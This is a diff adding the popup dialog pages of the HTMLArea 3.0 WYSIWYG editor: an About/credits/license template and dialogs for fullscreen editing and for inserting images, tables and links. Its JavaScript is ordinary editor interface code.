+ -moz-border-radius: 0px 0px 4px 4px;
+ z-index: 0;
+ }
+ .tab-current {
+ color: #000;
+ top: -4px;
+ background-color: #cea;
+ padding: 3px 10px 4px 10px;
+ z-index: 10;
+ }
+ table.sponsors { border-top: 1px solid #aca; }
+ table.sponsors td {
+ border-bottom: 1px solid #aca; vertical-align: top;
+ }
+ table.sponsors tr td { padding: 2px 0px; }
+ table.sponsors tr td.sponsor { text-align: right; padding-right: 0.3em; white-space: nowrap; }
+ li, ol, ul { margin-top: 0px; margin-bottom: 0px; }
+</style></head>
+<body onload="__dlg_init(); initDocument();"
+><table cellspacing="0" cellpadding="0" style="border-collapse: collapse;
+ width: 100%; height: 100%;">
+
+<tr style="height: 1em"><td id="tdheader">
+
+<div class="logo">
+<div class="brand"
+onmouseover="this.parentNode.className='logo-hover';"
+onmouseout="this.parentNode.className='logo';"
+onclick="window.open('http://dynarch.com/htmlarea/');">
+<span class="letter letter1"><H</span><span
+class="letter letter2">T</span><span
+class="letter letter3">M</span><span
+class="letter letter4">L</span>Area <span class="letter">/></span>
+<span class="version"><% $version.$release %></span></div>
+<div class="release">Compiled on <% $time %></div>
+<div class="visit">Go to http://dynarch.com/htmlarea/ [latest milestone release]</div>
+</div>
+
+</td></tr>
+<tr><td id="tdcontent" style="padding: 0.5em;">
+
+<div style="overflow: auto; height: 250px;" id="content">
+<div id="tab-areas">
+
+<div id="tab-area-0">
+
+ <h1>HTMLArea</h1>
+
+ <p>A free WYSIWYG editor replacement for <tt><textarea></tt> fields.<br />
+ For Mozilla 1.3+ (any platform) or Internet Explorer 5.5+ (Windows).
+ </p>
+
+ <p style="text-align: center"
+ >© 2002-2004 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc.<br />
+ © 2003-2004 <a href="http://dynarch.com" target="_blank">dynarch.com</a> LLC.<br />
+ All Rights Reserved.</p>
+
+ <h2>Project resources</h2>
+
+ <ul>
+ <li><a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+ >Project page</a> (@ sourceforge.net)</li>
+ <li><a href="http://sourceforge.net/cvs/?group_id=69750" target="_blank"
+ >Anonymous CVS access</a> (@ sourceforge.net)</li>
+ <li><a href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse" target="_blank"
+ >Bug system</a> (@ sourceforge.net)</li>
+ <li><a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;" target="_blank"
+ >Forum</a> (@ interactivetools.com)</li>
+ <li><a href="http://www.dynarch.com/htmlarea/" target="_blank"
+ >Last public release</a> (@ dynarch.com)</li>
+ </ul>
+
+ <p>
+ For download section please see the <a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+ >project page @ SourceForge</a>.
+ </p>
+
+<p style="margin-top: 1em; text-align: center;">Version 3.0 developed and maintained by <a
+href="http://dynarch.com/mishoo/" title="http://dynarch.com/mishoo/" target="_blank">Mihai Bazon</a> / <a
+href="http://dynarch.com" title="http://dynarch.com/" target="_blank">dynarch.com</a></p>
+
+</div>
+
+<div id="tab-area-1">
+<h1>Thank you</h1>
+
+ <p>
+ <a href="http://dynarch.com" target="_blank">dynarch.com</a> would like to thank the following
+ companies/persons for their <em>donations</em> to support development of HTMLArea (listed alphabetically):
+ </p>
+
+ <ul>
+ <li><a href="http://www.computerlove.co.uk" target="_blank">Code Computer Love Ltd.</a> (UK)</li>
+ <li><a href="http://www.neomedia.ro" target="_blank">Neomedia</a> (Romania)</li>
+ <li><a href="http://www.os3.it" target="_blank">OS3</a> (Italy)</li>
+ <li><a href="http://www.softwerk.net" target="_blank">SoftWerk</a> (Italy)</li>
+ </ul>
+
+ <p>Also many thanks to all people at InteractiveTools.com
+ <a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">HTMLArea forums</a> for
+ contributing translations, feedback, bug reports and fixes.</p>
+
+ <p>
+ Last but not least, this project wouldn't have existed without
+ <a href="http://interactivetools.com" target="_blank">InteractiveTools.com</a>.
+ </p>
+
+</div>
+
+<div id="tab-area-2">
+<h1>htmlArea License (based on BSD license)</h1>
+
+<p style="text-align: center">© 2002-2004, interactivetools.com, inc.<br />
+ © 2003-2004 dynarch.com LLC<br />
+ All rights reserved.</p>
+
+<p>
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+</p>
+
+<ol>
+<li>
+Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+</li>
+
+<li>
+Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+</li>
+
+<li>
+Neither the name of interactivetools.com, inc. nor the names of its
+contributors may be used to endorse or promote products derived from this
+software without specific prior written permission.
+</li>
+</ol>
+
+<p>
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+</p>
+
+</div>
+
+<div id="tab-area-3">
+<h1>Plugins</h1>
+<div id="plugins">
+</div>
+</div>
+
+</div></div>
+
+
+</tr></td>
+<tr style="height: 1em"><td id="tdfooter">
+
+
+<div class="buttons">
+<div id="tabbar"
+><div class="tab tab-current"
+>About</div><div class="tab"
+>Thanks</div><div class="tab"
+>License</div><div class="tab"
+>Plugins</div></div>
+<button type="button" onclick="__dlg_close(null);">I agree it's cool</button>
+</div>
+
+</td></tr></table>
+
+</body></html>
+
+<%ARGS>
+ $version => '3.0'
+ $release => 'beta+'
+ $basename => 'HTMLArea-3.0-beta'
+</%ARGS>
+
+<%INIT>;
+if ($release =~ /\S/) {
+ $release = ' <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. '.$release.' ]</span>';
+}
+
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y %H:%M GMT', gmtime;
+</%INIT>
--- /dev/null
+<html>\r\r
+</html>
\ No newline at end of file
--- /dev/null
+<html style="width:300px; Height: 60px;">\r\r
+ <head>\r\r
+ <title>Select Phrase</title>\r\r
+<script language="javascript">\r\r
+\r\r
+var myTitle = window.dialogArguments;\r\r
+document.title = myTitle;\r\r
+\r\r
+\r\r
+function returnSelected() {\r\r
+ var idx = document.all.textPulldown.selectedIndex;\r\r
+ var text = document.all.textPulldown[idx].text;\r\r
+\r\r
+ window.returnValue = text; // set return value\r\r
+ window.close(); // close dialog\r\r
+}\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>\r\r
+\r\r
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">\r\r
+<div align=center>\r\r
+\r\r
+<select name="textPulldown">\r\r
+<option>The quick brown</option>\r\r
+<option>fox jumps over</option>\r\r
+<option>the lazy dog.</option>\r\r
+</select>\r\r
+\r\r
+<input type="button" value=" Go " onClick="returnSelected()">\r\r
+\r\r
+</div>\r\r
+</form>\r\r
+</body></html>
\ No newline at end of file
--- /dev/null
+<html>\r\r
+ <head>\r\r
+ <title>Editor Help</title>\r\r
+ <style>\r\r
+ body, td, p, div { font-family: arial; font-size: x-small; }\r\r
+ </style>\r\r
+ </head>\r\r
+<body>\r\r
+\r\r
+<h2>Editor Help<hr></h2>\r\r
+\r\r
+Todo...\r\r
+\r\r
+\r\r
+</body>\r\r
+</html>
\ No newline at end of file
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">\r\r
+<html>\r\r
+ <head>\r\r
+ <title>Fullscreen HTMLArea</title>\r\r
+ <script type="text/javascript">\r\r
+ _editor_url = window.opener._editor_url;\r\r
+ _editor_lang = window.opener._editor_lang;\r\r
+ var BASE = window.opener.document.baseURI || window.opener.document.URL;\r\r
+ var head = document.getElementsByTagName("head")[0];\r\r
+ var base = document.createElement("base");\r\r
+ base.href = BASE;\r\r
+ head.appendChild(base);\r\r
+ </script>\r\r
+\r\r
+ <script type="text/javascript" src="../htmlarea.js"></script>\r\r
+\r\r
+ <script type="text/javascript">\r\r
+ // load HTMLArea scripts that are present in the opener frame\r\r
+ var scripts = window.opener.HTMLArea._scripts;\r\r
+ for (var i = 4; i < scripts.length; ++i) {\r\r
+ document.write("<scr" + "ipt type='text/javascript' src='" + scripts[i] + "'></scr" + "ipt>");\r\r
+ }\r\r
+ </script>\r\r
+\r\r
+ <!-- browser takes a coffee break here -->\r\r
+ <script type="text/javascript">\r\r
+var parent_object = null;\r\r
+var editor = null; // to be initialized later [ function init() ]\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : \r\r
+ Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc(ev) {\r\r
+ ev || (ev = window.event);\r\r
+ if (ev.keyCode == 27) {\r\r
+ // update_parent();\r\r
+ window.close();\r\r
+ return;\r\r
+ }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : resize_editor\r\r
+ Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() { // resize editor to fix window\r\r
+ var newHeight;\r\r
+ if (document.all) {\r\r
+ // IE\r\r
+ newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;\r\r
+ if (newHeight < 0) { newHeight = 0; }\r\r
+ } else {\r\r
+ // Gecko\r\r
+ newHeight = window.innerHeight - editor._toolbar.offsetHeight;\r\r
+ }\r\r
+ if (editor.config.statusBar) {\r\r
+ newHeight -= editor._statusBar.offsetHeight;\r\r
+ }\r\r
+ editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : init\r\r
+ Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+ parent_object = opener.HTMLArea._object;\r\r
+ var config = HTMLArea.cloneObject( parent_object.config );\r\r
+ config.width = "100%";\r\r
+ config.height = "auto";\r\r
+\r\r
+ // change maximize button to minimize button\r\r
+ config.btnList["popupeditor"] = [ 'Minimize Editor', _editor_url + 'images/fullscreen_minimize.gif', true,\r\r
+ function() { window.close(); } ];\r\r
+\r\r
+ // generate editor and resize it\r\r
+ editor = new HTMLArea("editor", config);\r\r
+\r\r
+ // register the plugins, if any\r\r
+ for (var i in parent_object.plugins) {\r\r
+ var plugin = parent_object.plugins[i];\r\r
+ editor.registerPlugin2(plugin.name, plugin.args);\r\r
+ }\r\r
+ // and restore the original toolbar\r\r
+ config.toolbar = parent_object.config.toolbar;\r\r
+ editor.generate();\r\r
+ editor._iframe.style.width = "100%";\r\r
+ editor._textArea.style.width = "100%";\r\r
+ resize_editor();\r\r
+\r\r
+ editor.doctype = parent_object.doctype;\r\r
+\r\r
+ // set child window contents and event handlers, after a small delay\r\r
+ setTimeout(function() {\r\r
+ editor.setHTML(parent_object.getInnerHTML());\r\r
+\r\r
+ // switch mode if needed\r\r
+ if (parent_object._mode == "textmode") { editor.setMode("textmode"); }\r\r
+\r\r
+ // continuously update parent editor window\r\r
+ setInterval(update_parent, 500);\r\r
+\r\r
+ // setup event handlers\r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ editor._doc.body.onkeypress = _CloseOnEsc;\r\r
+ editor._textArea.onkeypress = _CloseOnEsc;\r\r
+ window.onresize = resize_editor;\r\r
+ }, 333); // give it some time to meet the new frame\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : update_parent\r\r
+ Description : update parent window editor field with contents from child window\r\r
+ \* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+ // use the fast version\r\r
+ parent_object.setHTML(editor.getInnerHTML());\r\r
+}\r\r
+\r\r
+ </script>\r\r
+ <style type="text/css"> html, body { height: 100%; margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+ </head>\r\r
+ <body scroll="no" onload="setTimeout(function(){init();}, 500)" onunload="update_parent()">\r\r
+ <form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">\r\r
+ <textarea name="editor" id="editor" style="width:100%; height:300px"> </textarea>\r\r
+ </form>\r\r
+ </body>\r\r
+</html>\r\r
--- /dev/null
+<html>\r\r
+\r\r
+<head>\r\r
+ <title>Insert Image</title>\r\r
+\r\r
+<script type="text/javascript" src="popup.js"></script>\r\r
+\r\r
+<script type="text/javascript">\r\r
+\r\r
+window.resizeTo(400, 100);\r\r
+\r\r
+function Init() {\r\r
+ __dlg_init();\r\r
+ var param = window.dialogArguments;\r\r
+ if (param) {\r\r
+ document.getElementById("f_url").value = param["f_url"];\r\r
+ document.getElementById("f_alt").value = param["f_alt"];\r\r
+ document.getElementById("f_border").value = param["f_border"];\r\r
+ document.getElementById("f_align").value = param["f_align"];\r\r
+ document.getElementById("f_vert").value = param["f_vert"];\r\r
+ document.getElementById("f_horiz").value = param["f_horiz"];\r\r
+ window.ipreview.location.replace(param.f_url);\r\r
+ }\r\r
+ document.getElementById("f_url").focus();\r\r
+};\r\r
+\r\r
+function onOK() {\r\r
+ var required = {\r\r
+ "f_url": "You must enter the URL"\r\r
+ };\r\r
+ for (var i in required) {\r\r
+ var el = document.getElementById(i);\r\r
+ if (!el.value) {\r\r
+ alert(required[i]);\r\r
+ el.focus();\r\r
+ return false;\r\r
+ }\r\r
+ }\r\r
+ // pass data back to the calling window\r\r
+ var fields = ["f_url", "f_alt", "f_align", "f_border",\r\r
+ "f_horiz", "f_vert"];\r\r
+ var param = new Object();\r\r
+ for (var i in fields) {\r\r
+ var id = fields[i];\r\r
+ var el = document.getElementById(id);\r\r
+ param[id] = el.value;\r\r
+ }\r\r
+ __dlg_close(param);\r\r
+ return false;\r\r
+};\r\r
+\r\r
+function onCancel() {\r\r
+ __dlg_close(null);\r\r
+ return false;\r\r
+};\r\r
+\r\r
+function onPreview() {\r\r
+ var f_url = document.getElementById("f_url");\r\r
+ var url = f_url.value;\r\r
+ if (!url) {\r\r
+ alert("You have to enter an URL first");\r\r
+ f_url.focus();\r\r
+ return false;\r\r
+ }\r\r
+ window.ipreview.location.replace(url);\r\r
+ return false;\r\r
+};\r\r
+</script>\r\r
+\r\r
+<style type="text/css">\r\r
+html, body {\r\r
+ background: ButtonFace;\r\r
+ color: ButtonText;\r\r
+ font: 11px Tahoma,Verdana,sans-serif;\r\r
+ margin: 0px;\r\r
+ padding: 0px;\r\r
+}\r\r
+body { padding: 5px; }\r\r
+table {\r\r
+ font: 11px Tahoma,Verdana,sans-serif;\r\r
+}\r\r
+form p {\r\r
+ margin-top: 5px;\r\r
+ margin-bottom: 5px;\r\r
+}\r\r
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }\r\r
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }\r\r
+fieldset { padding: 0px 10px 5px 5px; }\r\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r\r
+button { width: 70px; }\r\r
+.space { padding: 2px; }\r\r
+\r\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r\r
+}\r\r
+form { padding: 0px; margin: 0px; }\r\r
+</style>\r\r
+\r\r
+</head>\r\r
+\r\r
+<body onload="Init()">\r\r
+\r\r
+<div class="title">Insert Image</div>\r\r
+<!--- new stuff --->\r\r
+<form action="" method="get">\r\r
+<table border="0" width="100%" style="padding: 0px; margin: 0px">\r\r
+ <tbody>\r\r
+\r\r
+ <tr>\r\r
+ <td style="width: 7em; text-align: right">Image URL:</td>\r\r
+ <td><input type="text" name="url" id="f_url" style="width:75%"\r\r
+ title="Enter the image URL here" />\r\r
+ <button name="preview" onclick="return onPreview();"\r\r
+ title="Preview the image in a new window">Preview</button>\r\r
+ </td>\r\r
+ </tr>\r\r
+ <tr>\r\r
+ <td style="width: 7em; text-align: right">Alternate text:</td>\r\r
+ <td><input type="text" name="alt" id="f_alt" style="width:100%"\r\r
+ title="For browsers that don't support images" /></td>\r\r
+ </tr>\r\r
+\r\r
+ </tbody>\r\r
+</table>\r\r
+\r\r
+<p />\r\r
+\r\r
+<fieldset style="float: left; margin-left: 5px;">\r\r
+<legend>Layout</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fl">Alignment:</div>\r\r
+<select size="1" name="align" id="f_align"\r\r
+ title="Positioning of this image">\r\r
+ <option value="" >Not set</option>\r\r
+ <option value="left" >Left</option>\r\r
+ <option value="right" >Right</option>\r\r
+ <option value="texttop" >Texttop</option>\r\r
+ <option value="absmiddle" >Absmiddle</option>\r\r
+ <option value="baseline" selected="1" >Baseline</option>\r\r
+ <option value="absbottom" >Absbottom</option>\r\r
+ <option value="bottom" >Bottom</option>\r\r
+ <option value="middle" >Middle</option>\r\r
+ <option value="top" >Top</option>\r\r
+</select>\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fl">Border thickness:</div>\r\r
+<input type="text" name="border" id="f_border" size="5"\r\r
+title="Leave empty for no border" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+\r\r
+<fieldset style="float:right; margin-right: 5px;">\r\r
+<legend>Spacing</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fr">Horizontal:</div>\r\r
+<input type="text" name="horiz" id="f_horiz" size="5"\r\r
+title="Horizontal padding" />\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fr">Vertical:</div>\r\r
+<input type="text" name="vert" id="f_vert" size="5"\r\r
+title="Vertical padding" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+<br clear="all" />\r\r
+<table width="100%" style="margin-bottom: 0.2em">\r\r
+ <tr>\r\r
+ <td valign="bottom">\r\r
+ Image Preview:<br />\r\r
+ <iframe name="ipreview" id="ipreview" frameborder="0" style="border : 1px solid gray;" height="200" width="300" src=""></iframe>\r\r
+ </td>\r\r
+ <td valign="bottom" style="text-align: right">\r\r
+ <button type="button" name="ok" onclick="return onOK();">OK</button><br>\r\r
+ <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r\r
+ </td>\r\r
+ </tr>\r\r
+</table>\r\r
+</form>\r\r
+</body>\r\r
+</html>\r\r
--- /dev/null
+<html>
+
+<head>
+ <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(400, 150);
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_rows": "You must enter a number of rows",
+ "f_cols": "You must enter a number of columns"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+ "f_align", "f_border", "f_spacing", "f_padding"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 4em; text-align: right">Rows:</td>
+ <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td style="width: 4em; text-align: right">Cols:</td>
+ <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+ <td style="width: 4em; text-align: right">Width:</td>
+ <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+ <td><select size="1" name="unit" id="f_unit" title="Width unit">
+ <option value="%" selected="1" >Percent</option>
+ <option value="px" >Pixels</option>
+ <option value="em" >Em</option>
+ </select></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" selected="1" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; border-top: 1px solid #999; padding: 2px; text-align: right;">
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>\r
+\r
+<head>\r
+ <title>Insert/Modify Link</title>\r
+ <script type="text/javascript" src="popup.js"></script>\r
+ <script type="text/javascript">\r
+ window.resizeTo(400, 400);\r
+\r
+I18N = window.opener.HTMLArea.I18N.dialogs;\r
+\r
+function i18n(str) {\r
+ return (I18N[str] || str);\r
+};\r
+\r
+function onTargetChanged() {\r
+ var f = document.getElementById("f_other_target");\r
+ if (this.value == "_other") {\r
+ f.style.visibility = "visible";\r
+ f.select();\r
+ f.focus();\r
+ } else f.style.visibility = "hidden";\r
+};\r
+\r
+function Init() {\r
+ __dlg_translate(I18N);\r
+ __dlg_init();\r
+ var param = window.dialogArguments;\r
+ var target_select = document.getElementById("f_target");\r
+ if (param) {\r
+ document.getElementById("f_href").value = param["f_href"];\r
+ document.getElementById("f_title").value = param["f_title"];\r
+ comboSelectValue(target_select, param["f_target"]);\r
+ if (target_select.value != param.f_target) {\r
+ var opt = document.createElement("option");\r
+ opt.value = param.f_target;\r
+ opt.innerHTML = opt.value;\r
+ target_select.appendChild(opt);\r
+ opt.selected = true;\r
+ }\r
+ }\r
+ var opt = document.createElement("option");\r
+ opt.value = "_other";\r
+ opt.innerHTML = i18n("Other");\r
+ target_select.appendChild(opt);\r
+ target_select.onchange = onTargetChanged;\r
+ document.getElementById("f_href").focus();\r
+ document.getElementById("f_href").select();\r
+};\r
+\r
+function onOK() {\r
+ var required = {\r
+ // f_href shouldn't be required or otherwise removing the link by entering an empty\r\r
+ // url isn't possible anymore.\r\r
+ // "f_href": i18n("You must enter the URL where this link points to")\r\r
+ };\r
+ for (var i in required) {\r
+ var el = document.getElementById(i);\r
+ if (!el.value) {\r
+ alert(required[i]);\r
+ el.focus();\r
+ return false;\r
+ }\r
+ }\r
+ // pass data back to the calling window\r
+ var fields = ["f_href", "f_title", "f_target" ];\r
+ var param = new Object();\r
+ for (var i in fields) {\r
+ var id = fields[i];\r
+ var el = document.getElementById(id);\r
+ param[id] = el.value;\r
+ }\r
+ if (param.f_target == "_other")\r
+ param.f_target = document.getElementById("f_other_target").value;\r
+ __dlg_close(param);\r
+ return false;\r
+};\r
+\r
+function onCancel() {\r
+ __dlg_close(null);\r
+ return false;\r
+};\r
+\r
+</script>\r
+\r
+<style type="text/css">\r
+html, body {\r
+ background: ButtonFace;\r
+ color: ButtonText;\r
+ font: 11px Tahoma,Verdana,sans-serif;\r
+ margin: 0px;\r
+ padding: 0px;\r
+}\r
+body { padding: 5px; }\r
+table {\r
+ font: 11px Tahoma,Verdana,sans-serif;\r
+}\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r
+button { width: 70px; }\r
+table .label { text-align: right; width: 8em; }\r
+\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r
+}\r
+\r
+#buttons {\r
+ margin-top: 1em; border-top: 1px solid #999;\r
+ padding: 2px; text-align: right;\r
+}\r
+</style>\r
+\r
+</head>\r
+\r
+<body onload="Init()">\r
+<div class="title">Insert/Modify Link</div>\r
+\r
+<table border="0" style="width: 100%;">\r
+ <tr>\r
+ <td class="label">URL:</td>\r
+ <td><input type="text" id="f_href" style="width: 100%" /></td>\r
+ </tr>\r
+ <tr>\r
+ <td class="label">Title (tooltip):</td>\r
+ <td><input type="text" id="f_title" style="width: 100%" /></td>\r
+ </tr>\r
+ <tr>\r
+ <td class="label">Target:</td>\r
+ <td><select id="f_target">\r
+ <option value="">None</option>\r
+ <option value="_blank">New window (_blank)</option>\r
+ </select>\r
+ <input type="text" name="f_other_target" id="f_other_target" size="10" style="visibility: hidden" />\r
+ </td>\r
+ </tr>\r
+</table>\r
+\r
+<div id="buttons">\r
+ <button type="button" name="ok" onclick="return onOK();">OK</button>\r
+ <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r
+</div>\r
+</body>\r
+</html>\r
--- /dev/null
+<files>
+ <file name="*.{js,html}" />
+ <file name="about.html" masonize="yes" args="version,release,basename" />
+</files>
--- /dev/null
+<html>\r\r
+<head><title>Fullscreen Editor</title>\r\r
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+\r\r
+<script>\r\r
+\r\r
+// if we pass the "window" object as a argument and then set opener to\r\r
+// equal that we can refer to dialogWindows and popupWindows the same way\r\r
+if (window.dialogArguments) { opener = window.dialogArguments; }\r\r
+\r\r
+var _editor_url = "../";\r\r
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');\r\r
+\r\r
+var parent_objname = location.search.substring(1,location.search.length); // parent editor objname\r\r
+var parent_config = opener.document.all[parent_objname].config;\r\r
+\r\r
+var config = cloneObject( parent_config );\r\r
+var objname = 'editor'; // name of this editor\r\r
+\r\r
+// DOMViewerObj = config;\r\r
+// DOMViewerName = 'config';\r\r
+// window.open('/innerHTML/domviewer.htm'); \r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : \r\r
+ Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+ if (event.keyCode == 27) {\r\r
+ update_parent();\r\r
+ window.close();\r\r
+ return;\r\r
+ }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : cloneObject\r\r
+ Description : copy an object by value instead of by reference\r\r
+ Usage : var newObj = cloneObject(oldObj);\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function cloneObject(obj) {\r\r
+ var newObj = new Object; \r\r
+\r\r
+ // check for array objects\r\r
+ if (obj.constructor.toString().indexOf('function Array(') == 1) {\r\r
+ newObj = obj.constructor();\r\r
+ }\r\r
+\r\r
+ for (var n in obj) {\r\r
+ var node = obj[n];\r\r
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }\r\r
+ else { newObj[n] = node; }\r\r
+ }\r\r
+ \r\r
+ return newObj;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : resize_editor\r\r
+ Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() { // resize editor to fix window\r\r
+ var editor = document.all['_editor_editor'];\r\r
+\r\r
